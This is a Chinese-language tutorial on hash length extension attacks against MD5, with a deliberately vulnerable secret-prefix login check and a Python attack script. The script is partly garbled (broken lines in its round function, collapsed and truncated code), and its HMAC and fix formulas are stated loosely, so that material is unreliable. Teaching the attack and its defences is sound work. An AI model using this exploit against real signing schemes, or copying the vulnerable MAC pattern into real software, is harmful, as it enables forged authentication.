容易受到哈希長(zhǎng)度擴(kuò)展攻擊的那些算法
Hash，一般翻譯做“散列”，也有直接音譯為“哈希”的，就是把任意長(zhǎng)度的輸入(又叫做預(yù)映射， pre-image)，通過(guò)散列算法，變換成固定長(zhǎng)度的輸出，該輸出就是散列值。這種轉(zhuǎn)換是一種壓縮映射，也就是，散列值的空間通常遠(yuǎn)小于輸入的空間，不同的輸入可能會(huì)散列成相同的輸出，所以不可能從散列值來(lái)唯一的確定輸入值。簡(jiǎn)單的說(shuō)就是一種將任意長(zhǎng)度的消息壓縮到某一固定長(zhǎng)度的消息摘要的函數(shù)。
哈希長(zhǎng)度擴(kuò)展攻擊簡(jiǎn)單的來(lái)講就是：
1.知道一個(gè)密文(SECRET)的哈希
2.知道密文的長(zhǎng)度(SECRET LENGTH)
在不知道密文的情況下可以推算出密文+填充+追加消息(SECRET+PADDING+EXTRA)的哈希，也就是說(shuō)在只知道密文長(zhǎng)度和密文哈希的情況下，可以預(yù)測(cè)出密文和另一消息拼接后的哈希。
0x01 理解哈希算法流程
易受哈希長(zhǎng)度擴(kuò)展攻擊的哈希算法：SHA系列和MD系列。這兩個(gè)系列的哈希算法都有一個(gè)共同點(diǎn)——基于Merkle–Damgård構(gòu)造。
上圖可以看出，Merkle–Damgård算法的流程如下：
1. 把消息劃分為n個(gè)消息塊
2. 對(duì)最后一個(gè)消息塊做長(zhǎng)度填充
3. 每個(gè)消息塊都會(huì)和一個(gè)輸入向量做一個(gè)運(yùn)算，把這個(gè)計(jì)算結(jié)果當(dāng)成下個(gè)消息塊的輸入向量
0x02 理解MD5算法流程
了解了Merkle–Damgård算法的流程，下面詳細(xì)了解一下MD5算法的流程，我們可以參考RFC 1321(http://www.ietf.org/rfc/rfc1321.txt)。
MD5算法包括四大步驟：
- Append Padding Bits(填充bits)
- Append Length(填充長(zhǎng)度)
- Initialize MD Buffer(初始化向量)
- Process Message in 16-Word Blocks(復(fù)雜的函數(shù)運(yùn)算)
我們主要需要了解前三步，也就是MD5算法中的填充和生成初始化向量。首先，我們看一下MD5中填充bits的算法，該算法的流程如下：
1. 根據(jù)消息的長(zhǎng)度確定填充的字節(jié)數(shù)，即填充后消息長(zhǎng)度 mod 512bit = 448bit。舉個(gè)例子：一個(gè)消息是”message”，則這個(gè)消息是56bit，所以需要填充392bit。
2. 最小填充1bit最多填充512bit，即使消息長(zhǎng)度 mod 512 = 448bit。也就是說(shuō)，不管消息長(zhǎng)度是多少，都必須進(jìn)行填充。
3. 填充信息的第一個(gè)字節(jié)是0x80，剩余數(shù)據(jù)用0x00填充。
然后，我們看一下填充長(zhǎng)度的流程：
填充長(zhǎng)度的大小是64bit
長(zhǎng)度是小端存儲(chǔ)的，也就是說(shuō)高字節(jié)放在高地址中
如果消息的長(zhǎng)度大于2 ^ 64，也就是大于2048PB。那么64bit無(wú)法存儲(chǔ)消息的長(zhǎng)度，則取低64bit。
下圖是補(bǔ)位的示例，要進(jìn)行哈希運(yùn)算的消息是字符串”message”，則：
最后，初始化向量為固定值：
A 01 23 45 67 0x67452301
B 89 AB CD EF 0xEFCDAB89
C FE DC BA 98 0x98BADCFE
D 76 54 32 10 0x10325476
然后，用初始化向量和補(bǔ)位后的消息進(jìn)行復(fù)雜的函數(shù)運(yùn)算，最終得到消息”message”的MD5值為78e731027d8fd50ed642340b7c9a63b3。
0x03 理解MD5長(zhǎng)度擴(kuò)展攻擊
如果一個(gè)消息長(zhǎng)度大于512bit，則會(huì)對(duì)消息按512bit進(jìn)行切分，最后一個(gè)消息塊進(jìn)行填充操作。
假設(shè)我們知道一個(gè)7字節(jié)也就是56bit的消息的MD5值是78e731027d8fd50ed642340b7c9a63b3。
則MD5算法對(duì)其進(jìn)行運(yùn)算時(shí)，會(huì)先補(bǔ)位，由于消息的內(nèi)容我們不知道，所以補(bǔ)位的結(jié)果如下圖
然后會(huì)和初始向量進(jìn)行復(fù)雜的函數(shù)運(yùn)算，因?yàn)镸D5值為78e731027d8fd50ed642340b7c9a63b3，故得到的結(jié)果為
A=0x0231e778
B=0x0ed58f7d
C=0x0b3442d6
D=0xb3639a7c
若向補(bǔ)位后的消息再追加一條消息字符串”admin”，則會(huì)對(duì)這個(gè)字符串進(jìn)行補(bǔ)位，再利用上一個(gè)運(yùn)算算出的值作為初始向量進(jìn)行函數(shù)運(yùn)算，最終得到的MD5值為e53a681a30ff99e3f6522270ca7db244。
這樣就完成了在不知道消息的情況下，計(jì)算出消息+填充+追加消息的MD5值。
我們可以驗(yàn)證一下，假設(shè)驗(yàn)證用戶登錄的程序是這樣的：
- import sys
- from urllib import unquote
- def login(password, hash_val):
- m = hashlib.md5()
- secret_key = "message"
- m.update(secret_key + password)
- if(m.hexdigest() == hash_val):
- print "Login Successful!"
- else:
- print "Login Failed"
- if __name__ == "__main__":
- password = unquote(sys.argv[1])
- hash_val = unquote(sys.argv[2])
- login(password, hash_val)
現(xiàn)在只知道一組用戶名和hash，root和f3c36e01c874865bc081e4ae7af037ea
由分析可知，我們?cè)谥纒ecret_key長(zhǎng)度的情況下，可以偽造padding，再通過(guò)追加字符串可以算出secret+padding+追加字符串的MD5值。假設(shè)我們追加的字符串為admin，則通過(guò)哈希擴(kuò)展攻擊計(jì)算出md5(secret+padding+追加字符串) = e53a681a30ff99e3f6522270ca7db244。然后我們測(cè)試一下，顯示登錄成功：
md5擴(kuò)展攻擊代碼如下(網(wǎng)上找的稍作修改，用法：python md5.py 攻擊的md5 追加的消息 secret的長(zhǎng)度):
- # coding:utf-8
- import sys
- import struct
- import hashlib
- import binascii
- def F(x, y, z):
- return (x & y) | ((~x) & z)
- def G(x, y, z):
- return (x & z) | (y & (~z))
- def H(x, y, z):
- return x ^ y ^ z
- def I(x, y, z):
- return y ^ (x | (~z))
- def _rotateLeft( x, n):
- return (x << n) | (x >> (32-n))
- def XX(func, a, b, c, d, x, s, ac):
- res = 0L
- resres = res + a + func(b, c, d)
- resres = res + x
- resres = res + ac
- resres = res & 0xffffffffL
- res = _rotateLeft(res, s)
- resres = res & 0xffffffffL
- resres = res + b
- return res & 0xffffffffL
- class md5():
- def __init__(self):
- self.A, self.B, self.C, self.D = (0x67452301L, 0xefcdab89L, 0x98badcfeL, 0x10325476L)
- def md5_compress(self, buf):
- if len(buf) != 64:
- raise ValueError, "Invalid buffer of length %d: %s" % (len(buf), repr(buf))
- inp = struct.unpack("I"*16, buf)
- a, b, c, d = self.A, self.B, self.C, self.D
- # Round 1.
- S11, S12, S13, S14 = 7, 12, 17, 22
- a = XX(F, a, b, c, d, inp[0], S11, 0xD76AA478L) # 1
- d = XX(F, d, a, b, c, inp[1], S12, 0xE8C7B756L) # 2
- c = XX(F, c, d, a, b, inp[2], S13, 0x242070DBL) # 3
- b = XX(F, b, c, d, a, inp[3], S14, 0xC1BDCEEEL) # 4
- a = XX(F, a, b, c, d, inp[4], S11, 0xF57C0FAFL) # 5
- d = XX(F, d, a, b, c, inp[5], S12, 0x4787C62AL) # 6
- c = XX(F, c, d, a, b, inp[6], S13, 0xA8304613L) # 7
- b = XX(F, b, c, d, a, inp[7], S14, 0xFD469501L) # 8
- a = XX(F, a, b, c, d, inp[8], S11, 0x698098D8L) # 9
- d = XX(F, d, a, b, c, inp[9], S12, 0x8B44F7AFL) # 10
- c = XX(F, c, d, a, b, inp[10], S13, 0xFFFF5BB1L) # 11
- b = XX(F, b, c, d, a, inp[11], S14, 0x895CD7BEL) # 12
- a = XX(F, a, b, c, d, inp[12], S11, 0x6B901122L) # 13
- d = XX(F, d, a, b, c, inp[13], S12, 0xFD987193L) # 14
- c = XX(F, c, d, a, b, inp[14], S13, 0xA679438EL) # 15
- b = XX(F, b, c, d, a, inp[15], S14, 0x49B40821L) # 16
- # Round 2.
- S21, S22, S23, S24 = 5, 9, 14, 20
- a = XX(G, a, b, c, d, inp[1], S21, 0xF61E2562L) # 17
- d = XX(G, d, a, b, c, inp[6], S22, 0xC040B340L) # 18
- c = XX(G, c, d, a, b, inp[11], S23, 0x265E5A51L) # 19
- b = XX(G, b, c, d, a, inp[0], S24, 0xE9B6C7AAL) # 20
- a = XX(G, a, b, c, d, inp[5], S21, 0xD62F105DL) # 21
- d = XX(G, d, a, b, c, inp[10], S22, 0x02441453L) # 22
- c = XX(G, c, d, a, b, inp[15], S23, 0xD8A1E681L) # 23
- b = XX(G, b, c, d, a, inp[4], S24, 0xE7D3FBC8L) # 24
- a = XX(G, a, b, c, d, inp[9], S21, 0x21E1CDE6L) # 25
- d = XX(G, d, a, b, c, inp[14], S22, 0xC33707D6L) # 26
- c = XX(G, c, d, a, b, inp[3], S23, 0xF4D50D87L) # 27
- b = XX(G, b, c, d, a, inp[8], S24, 0x455A14EDL) # 28
- a = XX(G, a, b, c, d, inp[13], S21, 0xA9E3E905L) # 29
- d = XX(G, d, a, b, c, inp[2], S22, 0xFCEFA3F8L) # 30
- c = XX(G, c, d, a, b, inp[7], S23, 0x676F02D9L) # 31
- b = XX(G, b, c, d, a, inp[12], S24, 0x8D2A4C8AL) # 32
- # Round 3.
- S31, S32, S33, S34 = 4, 11, 16, 23
- a = XX(H, a, b, c, d, inp[5], S31, 0xFFFA3942L) # 33
- d = XX(H, d, a, b, c, inp[8], S32, 0x8771F681L) # 34
- c = XX(H, c, d, a, b, inp[11], S33, 0x6D9D6122L) # 35
- b = XX(H, b, c, d, a, inp[14], S34, 0xFDE5380CL) # 36
- a = XX(H, a, b, c, d, inp[1], S31, 0xA4BEEA44L) # 37
- d = XX(H, d, a, b, c, inp[4], S32, 0x4BDECFA9L) # 38
- c = XX(H, c, d, a, b, inp[7], S33, 0xF6BB4B60L) # 39
- b = XX(H, b, c, d, a, inp[10], S34, 0xBEBFBC70L) # 40
- a = XX(H, a, b, c, d, inp[13], S31, 0x289B7EC6L) # 41
- d = XX(H, d, a, b, c, inp[0], S32, 0xEAA127FAL) # 42
- c = XX(H, c, d, a, b, inp[3], S33, 0xD4EF3085L) # 43
- b = XX(H, b, c, d, a, inp[6], S34, 0x04881D05L) # 44
- a = XX(H, a, b, c, d, inp[9], S31, 0xD9D4D039L) # 45
- d = XX(H, d, a, b, c, inp[12], S32, 0xE6DB99E5L) # 46
- c = XX(H, c, d, a, b, inp[15], S33, 0x1FA27CF8L) # 47
- b = XX(H, b, c, d, a, inp[2], S34, 0xC4AC5665L) # 48
- # Round 4.
- S41, S42, S43, S44 = 6, 10, 15, 21
- a = XX(I, a, b, c, d, inp[0], S41, 0xF4292244L) # 49
- d = XX(I, d, a, b, c, inp[7], S42, 0x432AFF97L) # 50
- c = XX(I, c, d, a, b, inp[14], S43, 0xAB9423A7L) # 51
- b = XX(I, b, c, d, a, inp[5], S44, 0xFC93A039L) # 52
- a = XX(I, a, b, c, d, inp[12], S41, 0x655B59C3L) # 53
- d = XX(I, d, a, b, c, inp[3], S42, 0x8F0CCC92L) # 54
- c = XX(I, c, d, a, b, inp[10], S43, 0xFFEFF47DL) # 55
- b = XX(I, b, c, d, a, inp[1], S44, 0x85845DD1L) # 56
- a = XX(I, a, b, c, d, inp[8], S41, 0x6FA87E4FL) # 57
- d = XX(I, d, a, b, c, inp[15], S42, 0xFE2CE6E0L) # 58
- c = XX(I, c, d, a, b, inp[6], S43, 0xA3014314L) # 59
- b = XX(I, b, c, d, a, inp[13], S44, 0x4E0811A1L) # 60
- a = XX(I, a, b, c, d, inp[4], S41, 0xF7537E82L) # 61
- d = XX(I, d, a, b, c, inp[11], S42, 0xBD3AF235L) # 62
- c = XX(I, c, d, a, b, inp[2], S43, 0x2AD7D2BBL) # 63
- b = XX(I, b, c, d, a, inp[9], S44, 0xEB86D391L) # 64
- self.A = (self.A + a) & 0xffffffffL
- self.B = (self.B + b) & 0xffffffffL
- self.C = (self.C + c) & 0xffffffffL
- self.D = (self.D + d) & 0xffffffffL
- # print 'A=%s\nB=%s\nC=%s\nD=%s\n' % (hex(self.A), hex(self.B), hex(self.C), hex(self.D))
- def padding(self, n, sz=None):
- if sz is None:
- sz = n
- pre = 64-8
- sz = struct.pack("Q",sz*8)
- pad = '\x80'
- n += 1
- if n % 64 <= pre:
- pad += '\x00' * (pre - n % 64)
- pad += sz
- else:
- pad += '\x00' * (pre + 64 - n % 64)
- pad += sz
- return pad
- def pad(self, msg):
- return msg + self.padding(len(msg))
- def md5_iter(self, padding_msg):
- assert len(padding_msg) % 64 == 0
- for i in range(0, len(padding_msg), 64):
- block = padding_msg[i:i+64]
- self.md5_compress(padding_msg[i:i+64])
- def digest(self):
- return struct.pack('<IIII', self.A, self.B, self.C, self.D) def hexdigest(self): return binascii.hexlify(self.digest()).decode() def my_md5(self, msg): padding_msg = self.pad(msg) self.md5_iter(padding_msg) return self.hexdigest() # 通過(guò)md5值，逆向算出最后一輪的magic number def compute_magic_number(self, md5str): self.A = struct.unpack("I", md5str[0:8].decode('hex'))[0] self.B = struct.unpack("I", md5str[8:16].decode('hex'))[0] self.C = struct.unpack("I", md5str[16:24].decode('hex'))[0] self.D = struct.unpack("I", md5str[24:32].decode('hex'))[0] #print 'A=%s\nB=%s\nC=%s\nD=%s\n' % (hex(self.A), hex(self.B), hex(self.C), hex(self.D)) def extension_attack(self, md5str, str_append, lenth): self.compute_magic_number(md5str) p = self.padding(lenth) padding_msg = self.padding( len(str_append), lenth + len(p) + len(str_append) ) self.md5_iter(str_append + padding_msg) return self.hexdigest() if __name__ == "__main__": m = md5() if len(sys.argv) != 4: #print m.my_md5("123456") src = m.pad(sys.argv[1]) + sys.argv[2] print 'md5 padding ->',m.my_md5(src)
- else:
- print 'md5 extension_attack ->',m.extension_attack(sys.argv[1], sys.argv[2],
0x04 總結(jié)
這個(gè)攻擊方式的原理是，知道一個(gè)密文的md5和密文的長(zhǎng)度，可以推算出密文與擴(kuò)展消息拼接后的md5。防范方法也很簡(jiǎn)單：
方法1：用HMAC算法 HMAC(secret||padding)=H(secret||H(secret||padding))
方法2：交換secret和padding的位置，即MAC(padding||secret)
通常md5可以作為簽名來(lái)用，曾經(jīng)有兩個(gè)漏洞，亞馬遜AWS和Flicker的簽名漏洞，均可以通過(guò)md5哈希長(zhǎng)度擴(kuò)展攻擊。最近也有一個(gè)phpwind的洞可用哈希長(zhǎng)度擴(kuò)展攻擊。
不過(guò)現(xiàn)在這個(gè)攻擊方式的發(fā)展趨勢(shì)應(yīng)該是活在CTF中了233333
0x05 引用
http://www.ietf.org/rfc/rfc1321.txt
http://blog.chinaunix.net/uid-27070210-id-3255947.htm
